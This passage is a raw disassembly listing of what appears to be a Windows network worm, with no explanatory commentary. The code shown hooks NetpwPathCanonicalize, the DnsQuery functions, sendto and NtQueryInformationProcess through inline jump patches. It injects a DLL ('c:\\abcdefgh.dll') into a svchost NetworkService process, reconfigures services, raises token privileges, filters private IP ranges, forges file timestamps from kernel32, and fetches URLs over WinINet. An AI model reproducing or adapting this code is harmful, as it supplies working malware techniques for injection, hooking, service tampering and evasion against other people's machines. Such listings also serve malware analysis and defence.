		push	eax		; Src
		push	ecx		; Dst
		call	memcpy
		add	esp, 10h
		mov	al, [esi+ebx+4]
		mov	cl, al
		and	cl, 0FEh
		cmp	cl, 0E8h
		jz	short loc_9A59E6
		cmp	al, 0FFh
		jnz	short loc_9A59DA
		mov	al, [esi+ebx+5]
		cmp	al, 25h
		jz	short loc_9A59E6
		cmp	al, 15h
		jz	short loc_9A59E6


loc_9A59DA:				; CODE XREF: sub_9A5938+94j
		mov	eax, [ebp+var_40]
		add	ebx, eax
		mov	[esi], ebx
		mov	[ebp+var_44], ebx
		jmp	short loc_9A5995
; ---------------------------------------------------------------------------


loc_9A59E6:				; CODE XREF: sub_9A5938+90j
					; sub_9A5938+9Cj ...
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	eax, eax
		jmp	loc_9A5A81
; ---------------------------------------------------------------------------


loc_9A59F1:				; CODE XREF: sub_9A5938+60j
		lea	eax, [esi+ebx]
		mov	byte ptr [eax+4], 0E9h
		mov	edx, [esi]
		sub	edx, esi
		sub	edx, ebx
		mov	ecx, [ebp+lpAddress]
		lea	edx, [edx+ecx-9]
		mov	[eax+5], edx
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	ecx		; lpAddress
		mov	ebx, VirtualProtect
		call	ebx ; VirtualProtect
		test	eax, eax
		jz	short loc_9A5A7A
		mov	[ebp+Src], 0E9h
		sub	edi, [ebp+lpAddress]
		sub	edi, 5
		mov	[ebp+var_23], edi
		push	0Fh		; nPriority
		push	[ebp+hThread]	; hThread
		mov	edi, SetThreadPriority
		call	edi ; SetThreadPriority
		push	5		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	[ebp+lpAddress]	; Dst
		call	memcpy
		add	esp, 0Ch
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	edi ; SetThreadPriority
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	[ebp+flOldProtect] ; flNewProtect
		push	dword ptr [esi]	; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ebx ; VirtualProtect
		mov	[ebp+var_34], 1
		jmp	short loc_9A5A7A
; ---------------------------------------------------------------------------


loc_9A5A67:				; DATA XREF: .text:stru_9A2920o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A5A6B:				; DATA XREF: .text:stru_9A2920o
		mov	esp, [ebp+ms_exc.old_esp]
		push	[ebp+nPriority]	; nPriority
		push	[ebp+hThread]	; hThread
		call	SetThreadPriority


loc_9A5A7A:				; CODE XREF: sub_9A5938+E3j
					; sub_9A5938+12Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_34]


loc_9A5A81:				; CODE XREF: sub_9A5938+B4j
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5938	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5A91(LPCSTR	lpLibFileName,LPCSTR lpProcName,int)

sub_9A5A91	proc near		; CODE XREF: sub_9A5B0F+15p
					; sub_9A5B2E+15p ...

var_4		= dword	ptr -4
lpLibFileName	= dword	ptr  8
lpProcName	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		test	esi, esi
		jz	short loc_9A5B0B
		cmp	dword ptr [esi], 0
		jnz	short loc_9A5B0B
		push	[ebp+lpLibFileName] ; lpModuleName
		call	GetModuleHandleA
		test	eax, eax
		jnz	short loc_9A5ABC
		push	[ebp+lpLibFileName] ; lpLibFileName
		call	LoadLibraryA
		test	eax, eax
		jz	short loc_9A5B06


loc_9A5ABC:				; CODE XREF: sub_9A5A91+1Cj
		push	edi
		push	[ebp+lpProcName] ; lpProcName
		push	eax		; hModule
		call	GetProcAddress
		mov	edi, eax
		test	edi, edi
		jz	short loc_9A5B05
		push	40h		; flProtect
		push	103000h		; flAllocationType
		push	2Ch		; dwSize
		push	0		; lpAddress
		call	VirtualAlloc
		test	eax, eax
		mov	[esi], eax
		jz	short loc_9A5B05
		mov	edx, [ebp+arg_8]
		push	eax		; Dst
		mov	ecx, edi
		call	sub_9A5938
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_9A5B05
		push	8000h		; dwFreeType
		push	eax		; dwSize
		push	dword ptr [esi]	; lpAddress
		call	VirtualFree


loc_9A5B05:				; CODE XREF: sub_9A5A91+3Aj
					; sub_9A5A91+51j ...
		pop	edi


loc_9A5B06:				; CODE XREF: sub_9A5A91+29j
		mov	eax, [ebp+var_4]
		leave
		retn
; ---------------------------------------------------------------------------


loc_9A5B0B:				; CODE XREF: sub_9A5A91+Aj
					; sub_9A5A91+Fj
		xor	eax, eax
		leave
		retn
sub_9A5A91	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B0F	proc near		; CODE XREF: sub_9A3C63+1C3p
					; sub_9A3C63+1F1p
		push	esi
		push	offset sub_9A52FE ; int
		push	offset aNetpwpathcanon ; "NetpwPathCanonicalize"
		push	offset dword_9A292C ; lpLibFileName
		mov	esi, offset dword_9BB2E8
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5B0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B2E	proc near		; CODE XREF: sub_9A3C63+25p
		push	esi
		push	offset sub_9A535E ; int
		push	offset aNtqueryinforma ; "NtQueryInformationProcess"
		push	offset aNtdll_dll ; "ntdll.dll"
		mov	esi, offset dword_9BB2EC
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5B2E	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5B4D	proc near		; CODE XREF: sub_9A3C63+206p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	offset sub_9A53E9 ; int
		push	offset aDnsquery_a ; "DnsQuery_A"
		mov	edi, offset aDnsapi_dll	; "dnsapi.dll"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F0
		call	sub_9A5A91
		push	offset sub_9A54C1 ; int
		push	offset aDnsquery_utf8 ;	"DnsQuery_UTF8"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F4
		mov	ebx, eax
		call	sub_9A5A91
		push	offset sub_9A556B ; int
		push	offset aDnsquery_w ; "DnsQuery_W"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2F8
		mov	ebp, eax
		call	sub_9A5A91
		push	offset loc_9A5623 ; int
		push	offset aQuery_main ; "Query_Main"
		push	edi		; lpLibFileName
		mov	esi, offset dword_9BB2FC
		mov	[esp+44h+var_4], eax
		call	sub_9A5A91
		xor	eax, eax
		add	esp, 30h
		cmp	ebx, eax
		jz	short loc_9A5BC7
		cmp	ebp, eax
		jz	short loc_9A5BC7
		cmp	[esp+14h+var_4], eax
		jz	short loc_9A5BC7
		inc	eax


loc_9A5BC7:				; CODE XREF: sub_9A5B4D+6Dj
					; sub_9A5B4D+71j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_9A5B4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5BCD	proc near		; CODE XREF: sub_9A3C63+1C8p
		push	offset ModuleName ; "dnsrslvr.dll"
		call	GetModuleHandleA
		test	eax, eax
		mov	dword_9BB308, eax
		jnz	short loc_9A5BE2
		retn
; ---------------------------------------------------------------------------


loc_9A5BE2:				; CODE XREF: sub_9A5BCD+12j
		push	esi
		push	offset sub_9A58BD ; int
		push	offset aSendto	; "sendto"
		push	offset aWs2_32_dll ; "ws2_32.dll"
		mov	esi, offset dword_9BB300
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5BCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C01	proc near		; CODE XREF: StartAddress:loc_9A3B78p
		push	esi
		xor	esi, esi


loc_9A5C04:				; CODE XREF: sub_9A5C01+21j
		push	offset aSvchost_exeKNe ; "svchost.exe -k NetworkService"
		call	sub_9A66EF
		test	eax, eax
		pop	ecx
		jnz	short loc_9A5C26
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9A5C04
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A5C26:				; CODE XREF: sub_9A5C01+10j
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	eax		; dwProcessId
		call	sub_9A642B
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9A5C01	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C35	proc near		; CODE XREF: StartAddress+8Cp
		push	esi
		xor	esi, esi


loc_9A5C38:				; CODE XREF: sub_9A5C35+21j
		push	offset aServ	; "servÈ!"
		call	sub_9A638D
		test	eax, eax
		pop	ecx
		jnz	short loc_9A5C5A
		push	3E8h		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 14h
		jl	short loc_9A5C38
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_9A5C5A:				; CODE XREF: sub_9A5C35+10j
		push	offset FileName	; "c:\\abcdefgh.dll"
		push	eax		; dwProcessId
		call	sub_9A642B
		pop	ecx
		pop	ecx
		pop	esi
		retn
sub_9A5C35	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C69	proc near		; CODE XREF: StartAddress:loc_9A3B56p
		push	esi
		push	offset sub_9A58F0 ; int
		push	offset aInternetgetc_0 ; "InternetGetConnectedState"
		push	offset aWininet_dll ; "wininet.dll"
		mov	esi, offset dword_9BB304
		call	sub_9A5A91
		add	esp, 0Ch
		pop	esi
		retn
sub_9A5C69	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5C88	proc near		; CODE XREF: sub_9A4033+7p
					; sub_9A857A+1E9p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		xor	eax, eax
		mov	edx, ecx
		and	edx, 0FFFFh
		inc	eax
		cmp	edx, 0A8C0h
		jz	short loc_9A5CB2
		cmp	cl, 0Ah
		jz	short loc_9A5CB2
		and	ecx, 0F0FFh
		cmp	ecx, 10ACh
		jnz	short locret_9A5CB4


loc_9A5CB2:				; CODE XREF: sub_9A5C88+15j
					; sub_9A5C88+1Aj
		xor	eax, eax

locret_9A5CB4:				; CODE XREF: sub_9A5C88+28j
		retn
sub_9A5C88	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5CB5	proc near		; CODE XREF: sub_9A857A+1DAp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		and	ecx, 0FFh
		xor	eax, eax
		cmp	ecx, 7Fh
		jz	short loc_9A5D18
		test	ecx, ecx
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FFFFh
		cmp	ecx, 0FEA9h
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FEFFh
		cmp	ecx, 12C6h
		jz	short loc_9A5D18
		mov	ecx, esi
		and	ecx, 0FFFFFFh
		cmp	ecx, 0FFFFFDh
		jz	short loc_9A5D18
		mov	ecx, esi
		mov	edx, 0F0h
		and	ecx, edx
		cmp	ecx, 0E0h
		jz	short loc_9A5D18
		cmp	ecx, edx
		jz	short loc_9A5D18
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A5D18
		inc	eax


loc_9A5D18:				; CODE XREF: sub_9A5CB5+12j
					; sub_9A5CB5+16j ...
		pop	esi
		retn
sub_9A5CB5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5D1A	proc near		; CODE XREF: sub_9A3715+4Dp
					; sub_9A394B+4Ep ...

PerformanceCount= LARGE_INTEGER	ptr -8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		call	GetCurrentThreadId
		mov	esi, eax
		call	GetCurrentProcessId
		mov	edi, eax
		lea	eax, [ebp+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		test	eax, eax
		jnz	short loc_9A5D49
		and	dword ptr [ebp+PerformanceCount+4], eax
		mov	dword ptr [ebp+PerformanceCount], 4362AEB0h


loc_9A5D49:				; CODE XREF: sub_9A5D1A+23j
		call	GetTickCount
		xor	eax, dword ptr [ebp+PerformanceCount]
		xor	eax, edi
		xor	eax, esi
		push	eax		; Seed
		call	srand
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_9A5D1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5D62(LPCSTR	lpServiceName)

sub_9A5D62	proc near		; CODE XREF: sub_9A39CF+7p
					; sub_9A39CF+13p ...

ServiceStatus	= _SERVICE_STATUS ptr -24h
hSCObject	= dword	ptr -8
var_4		= dword	ptr -4
lpServiceName	= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		xor	esi, esi
		push	0F003Fh		; dwDesiredAccess
		push	esi		; lpDatabaseName
		push	esi		; lpMachineName
		mov	[ebp+var_4], esi
		call	OpenSCManagerA
		cmp	eax, esi
		mov	[ebp+hSCObject], eax
		jz	short loc_9A5DF4
		push	ebx
		push	edi
		push	20027h		; dwDesiredAccess
		push	[ebp+lpServiceName] ; lpServiceName
		push	eax		; hSCManager
		call	OpenServiceA
		mov	ebx, CloseServiceHandle
		mov	edi, eax
		cmp	edi, esi
		jz	short loc_9A5DED
		lea	eax, [ebp+ServiceStatus]
		push	eax		; lpServiceStatus
		push	edi		; hService
		call	QueryServiceStatus
		test	eax, eax
		jz	short loc_9A5DD3
		cmp	[ebp+ServiceStatus.dwCurrentState], 1
		jz	short loc_9A5DD3
		lea	eax, [ebp+ServiceStatus]
		push	eax		; lpServiceStatus
		push	1		; dwControl
		push	edi		; hService
		call	ControlService
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_9A5DD3
		push	0FA0h		; dwMilliseconds
		call	Sleep


loc_9A5DD3:				; CODE XREF: sub_9A5D62+4Aj
					; sub_9A5D62+50j ...
		push	esi		; lpDisplayName
		push	esi		; lpPassword
		push	esi		; lpServiceStartName
		push	esi		; lpDependencies
		push	esi		; lpdwTagId
		push	esi		; lpLoadOrderGroup
		push	esi		; lpBinaryPathName
		push	0FFFFFFFFh	; dwErrorControl
		push	4		; dwStartType
		push	0FFFFFFFFh	; dwServiceType
		push	edi		; hService
		call	ChangeServiceConfigA
		or	[ebp+var_4], eax
		push	edi		; hSCObject
		call	ebx ; CloseServiceHandle


loc_9A5DED:				; CODE XREF: sub_9A5D62+3Bj
		push	[ebp+hSCObject]	; hSCObject
		call	ebx ; CloseServiceHandle
		pop	edi
		pop	ebx


loc_9A5DF4:				; CODE XREF: sub_9A5D62+1Ej
		mov	eax, [ebp+var_4]
		pop	esi
		leave
		retn
sub_9A5D62	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5DFA(LPCSTR	lpName,int)

sub_9A5DFA	proc near		; CODE XREF: sub_9A3C63+4Ap
					; sub_9A6E36+Bp

NewState	= _TOKEN_PRIVILEGES ptr	-14h
hObject		= dword	ptr -4
lpName		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		lea	eax, [ebp+hObject]
		push	eax		; TokenHandle
		push	28h		; DesiredAccess
		xor	edi, edi
		call	GetCurrentProcess
		push	eax		; ProcessHandle
		call	OpenProcessToken
		test	eax, eax
		jz	short loc_9A5E60
		mov	eax, [ebp+arg_4]
		neg	eax
		sbb	eax, eax
		and	eax, 2
		mov	[ebp+NewState.Privileges.Attributes], eax
		lea	eax, [ebp+NewState.Privileges]
		push	eax		; lpLuid
		push	[ebp+lpName]	; lpName
		mov	[ebp+NewState.PrivilegeCount], 1
		push	edi		; lpSystemName
		call	LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_9A5E57
		push	edi		; ReturnLength
		push	edi		; PreviousState
		push	10h		; BufferLength
		lea	eax, [ebp+NewState]
		push	eax		; NewState
		push	edi		; DisableAllPrivileges
		push	[ebp+hObject]	; TokenHandle
		call	AdjustTokenPrivileges
		test	eax, eax
		jz	short loc_9A5E57
		inc	edi


loc_9A5E57:				; CODE XREF: sub_9A5DFA+44j
					; sub_9A5DFA+5Aj
		push	[ebp+hObject]	; hObject
		call	CloseHandle


loc_9A5E60:				; CODE XREF: sub_9A5DFA+1Ej
		mov	eax, edi
		pop	edi
		leave
		retn
sub_9A5DFA	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5E65	proc near		; CODE XREF: sub_9A3715+48p
					; sub_9A394B+46p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9A5E8D


loc_9A5E76:				; CODE XREF: sub_9A5E65+26j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[esi+ebx], dl
		inc	esi
		cmp	esi, edi
		jl	short loc_9A5E76


loc_9A5E8D:				; CODE XREF: sub_9A5E65+Fj
		mov	byte ptr [ebx+edi], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A5E65	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A5E95	proc near		; CODE XREF: sub_9A7E0F+97p
					; sub_9A7E0F+12Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		xor	esi, esi
		test	edi, edi
		jle	short loc_9A5EBE


loc_9A5EA6:				; CODE XREF: sub_9A5E95+27j
		call	rand
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	edx, 61h
		mov	[ebx+esi*2], dx
		inc	esi
		cmp	esi, edi
		jl	short loc_9A5EA6


loc_9A5EBE:				; CODE XREF: sub_9A5E95+Fj
		and	word ptr [ebx+edi*2], 0
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_9A5E95	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=0A8h

; int __cdecl sub_9A5EC7(int,HANDLE hFile)

sub_9A5EC7	proc near		; CODE XREF: sub_9A3715+11Cp
					; sub_9A6056+68p

LastAccessTime	= _FILETIME ptr	-128h
CreationTime	= _FILETIME ptr	-120h
LastWriteTime	= _FILETIME ptr	-118h
hObject		= dword	ptr -110h
lpFileName	= dword	ptr -10Ch
FileName	= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
hFile		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-0A8h]
		sub	esp, 128h
		mov	eax, dword_9B8788
		push	ebx
		xor	eax, ebp
		push	esi
		mov	[ebp+0A8h+var_4], eax
		mov	eax, [ebp+0A8h+arg_0]
		push	edi
		mov	edi, [ebp+0A8h+hFile]
		mov	[ebp+0A8h+lpFileName], eax
		push	104h		; nSize
		lea	eax, [ebp+0A8h+FileName]
		push	eax		; lpFilename
		push	offset aKernel32_dll ; "kernel32.dll"
		call	GetModuleHandleA
		push	eax		; hModule
		call	GetModuleFileNameA
		mov	esi, CreateFileA
		xor	ebx, ebx
		push	ebx		; hTemplateFile
		push	ebx		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		lea	eax, [ebp+0A8h+FileName]
		push	eax		; lpFileName
		call	esi ; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+0A8h+hObject], eax
		jz	loc_9A5FB7
		lea	ecx, [ebp+0A8h+LastWriteTime]
		push	ecx		; lpLastWriteTime
		lea	ecx, [ebp+0A8h+LastAccessTime]
		push	ecx		; lpLastAccessTime
		lea	ecx, [ebp+0A8h+CreationTime]
		push	ecx		; lpCreationTime
		push	eax		; hFile
		call	GetFileTime
		push	[ebp+0A8h+hObject] ; hObject
		call	CloseHandle
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_9A5FA4
		push	[ebp+0A8h+lpFileName] ;	lpFileName
		call	GetFileAttributesA
		cmp	eax, edi
		jz	short loc_9A5F6E
		test	al, 10h
		jz	short loc_9A5F6E
		mov	eax, 2000000h
		jmp	short loc_9A5F70
; ---------------------------------------------------------------------------


loc_9A5F6E:				; CODE XREF: sub_9A5EC7+9Aj
					; sub_9A5EC7+9Ej
		xor	eax, eax


loc_9A5F70:				; CODE XREF: sub_9A5EC7+A5j
		push	ebx		; hTemplateFile
		push	eax		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	7		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+0A8h+lpFileName] ;	lpFileName
		call	esi ; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_9A5FB7
		lea	eax, [ebp+0A8h+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+0A8h+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+0A8h+CreationTime]
		push	eax		; lpCreationTime
		push	esi		; hFile
		call	SetFileTime
		push	esi		; hObject
		call	CloseHandle
		jmp	short loc_9A5FB7
; ---------------------------------------------------------------------------


loc_9A5FA4:				; CODE XREF: sub_9A5EC7+8Dj
		lea	eax, [ebp+0A8h+LastWriteTime]
		push	eax		; lpLastWriteTime
		lea	eax, [ebp+0A8h+LastAccessTime]
		push	eax		; lpLastAccessTime
		lea	eax, [ebp+0A8h+CreationTime]
		push	eax		; lpCreationTime
		push	edi		; hFile
		call	SetFileTime


loc_9A5FB7:				; CODE XREF: sub_9A5EC7+68j
					; sub_9A5EC7+BFj ...
		mov	ecx, [ebp+0A8h+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_9AAAC1
		add	ebp, 0A8h
		leave
		retn
sub_9A5EC7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A5FCF(int,LPCSTR lpFileName)

sub_9A5FCF	proc near		; CODE XREF: sub_9A3715+C1p

var_C		= dword	ptr -0Ch
hObject		= dword	ptr -8
NumberOfBytesRead= dword ptr -4
arg_0		= dword	ptr  8
lpFileName	= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	3		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	3		; dwShareMode
		push	80000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_C], esi
		call	CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+hObject], eax
		jz	short loc_9A6050
		push	ebx
		push	edi
		push	esi		; lpFileSizeHigh
		push	eax		; hFile
		call	GetFileSize
		mov	edi, eax
		push	edi		; dwBytes
		push	40h		; uFlags
		call	GlobalAlloc
		mov	ebx, eax
		cmp	ebx, esi
		jz	short loc_9A6045
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesRead]
		push	eax		; lpNumberOfBytesRead
		push	edi		; nNumberOfBytesToRead
		push	ebx		; lpBuffer
		push	[ebp+hObject]	; hFile
		mov	[ebp+NumberOfBytesRead], esi
		call	ReadFile
		test	eax, eax
		jz	short loc_9A603E
		cmp	[ebp+NumberOfBytesRead], edi
		jnz	short loc_9A603E
		cmp	[ebp+NumberOfBytesRead], esi
		jz	short loc_9A603E
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_C], ebx
		mov	[eax], edi
		jmp	short loc_9A6045
; ---------------------------------------------------------------------------


loc_9A603E:				; CODE XREF: sub_9A5FCF+59j
					; sub_9A5FCF+5Ej ...
		push	ebx		; hMem
		call	GlobalFree


loc_9A6045:				; CODE XREF: sub_9A5FCF+42j
					; sub_9A5FCF+6Dj
		push	[ebp+hObject]	; hObject
		call	CloseHandle
		pop	edi
		pop	ebx


loc_9A6050:				; CODE XREF: sub_9A5FCF+27j
		mov	eax, [ebp+var_C]
		pop	esi
		leave
		retn
sub_9A5FCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A6056(LPCVOID lpBuffer,DWORD	nNumberOfBytesToWrite,LPCSTR lpFileName)

sub_9A6056	proc near		; CODE XREF: sub_9A3715+DCp

NumberOfBytesWritten= dword ptr	-8
var_4		= dword	ptr -4
lpBuffer	= dword	ptr  8
nNumberOfBytesToWrite= dword ptr  0Ch
lpFileName	= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		xor	esi, esi
		push	esi		; hTemplateFile
		push	esi		; dwFlagsAndAttributes
		push	4		; dwCreationDisposition
		push	esi		; lpSecurityAttributes
		push	1		; dwShareMode
		push	40000000h	; dwDesiredAccess
		push	[ebp+lpFileName] ; lpFileName
		mov	[ebp+var_4], esi
		call	CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_9A60D0
		push	ebx
		push	edi		; hFile
		mov	[ebp+NumberOfBytesWritten], esi
		call	SetEndOfFile
		mov	ebx, [ebp+nNumberOfBytesToWrite]
		push	esi		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	ebx		; nNumberOfBytesToWrite
		push	[ebp+lpBuffer]	; lpBuffer
		push	edi		; hFile
		call	WriteFile
		test	eax, eax
		jz	short loc_9A60AC
		cmp	[ebp+NumberOfBytesWritten], ebx
		jnz	short loc_9A60AC
		mov	[ebp+var_4], 1


loc_9A60AC:				; CODE XREF: sub_9A6056+48j
					; sub_9A6056+4Dj
		push	edi		; hObject
		call	CloseHandle
		cmp	[ebp+var_4], esi
		pop	ebx
		jz	short loc_9A60C7
		push	0FFFFFFFFh	; hFile
		push	[ebp+lpFileName] ; int
		call	sub_9A5EC7
		pop	ecx
		pop	ecx
		jmp	short loc_9A60D0
; ---------------------------------------------------------------------------


loc_9A60C7:				; CODE XREF: sub_9A6056+61j
		push	[ebp+lpFileName] ; lpFileName
		call	DeleteFileA


loc_9A60D0:				; CODE XREF: sub_9A6056+26j
					; sub_9A6056+6Fj
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_9A6056	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=3B4h


sub_9A60D7	proc near		; CODE XREF: sub_9A8179+10p

dwFlags		= dword	ptr -434h
var_430		= dword	ptr -430h
dwIndex		= dword	ptr -42Ch
var_428		= dword	ptr -428h
Buffer		= dword	ptr -424h
var_420		= dword	ptr -420h
var_41C		= dword	ptr -41Ch
hInternet	= dword	ptr -418h
dwBufferLength	= dword	ptr -414h
var_410		= dword	ptr -410h
Size		= dword	ptr -40Ch
hMem		= dword	ptr -408h
szAgent		= byte ptr -404h
var_403		= byte ptr -403h
var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		lea	ebp, [esp-3B4h]
		sub	esp, 434h
		mov	eax, dword_9B8788
		push	ebx
		mov	ebx, [ebp+3B4h+lpszUrl]
		push	esi
		xor	eax, ebp
		mov	esi, 10000h
		mov	[ebp+3B4h+var_4], eax
		mov	eax, [ebp+3B4h+arg_4]
		and	dword ptr [eax], 0
		push	esi		; dwBytes
		push	40h		; uFlags
		mov	[ebp+3B4h+var_41C], eax
		mov	[ebp+3B4h+Size], esi
		call	GlobalAlloc
		test	eax, eax
		mov	[ebp+3B4h+hMem], eax
		jz	loc_9A628C
		push	0		; dwReserved
		lea	eax, [ebp+3B4h+dwFlags]
		push	eax		; lpdwFlags
		call	InternetGetConnectedState
		test	eax, eax
		jz	loc_9A628C
		push	edi		; dwNumberOfBytesToRead
		xor	eax, eax
		mov	[ebp+3B4h+szAgent], 0
		mov	ecx, 0FFh
		lea	edi, [ebp+3B4h+var_403]
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+3B4h+dwBufferLength]
		push	eax		; cbSize
		lea	eax, [ebp+3B4h+szAgent]
		push	eax		; pszUAOut
		xor	edi, edi
		push	edi		; dwOption
		mov	[ebp+3B4h+dwBufferLength], 400h
		call	ObtainUserAgentString
		xor	eax, eax
		cmp	[ebp+3B4h+arg_8], edi
		push	edi		; dwFlags
		setnz	al
		push	edi		; lpszProxyBypass
		push	edi		; lpszProxy
		push	eax		; dwAccessType
		lea	eax, [ebp+3B4h+szAgent]
		push	eax		; lpszAgent
		call	InternetOpenA
		cmp	eax, edi
		mov	[ebp+3B4h+hInternet], eax
		jz	loc_9A628B
		call	GetTickCount
		push	edi		; dwContext
		push	84080300h	; dwFlags
		push	edi		; dwHeadersLength
		push	edi		; lpszHeaders
		push	ebx		; lpszUrl
		push	[ebp+3B4h+hInternet] ; hInternet
		mov	[ebp+3B4h+var_428], eax
		call	InternetOpenUrlA
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+3B4h+var_420], ebx
		jz	loc_9A6282
		lea	eax, [ebp+3B4h+dwIndex]
		push	eax		; lpdwIndex
		lea	eax, [ebp+3B4h+dwBufferLength]
		push	eax		; lpdwBufferLength
		lea	eax, [ebp+3B4h+Buffer]
		push	eax		; lpBuffer
		push	20000013h	; dwInfoLevel
		push	ebx		; hRequest
		mov	[ebp+3B4h+Buffer], 1F4h
		mov	[ebp+3B4h+dwIndex], edi
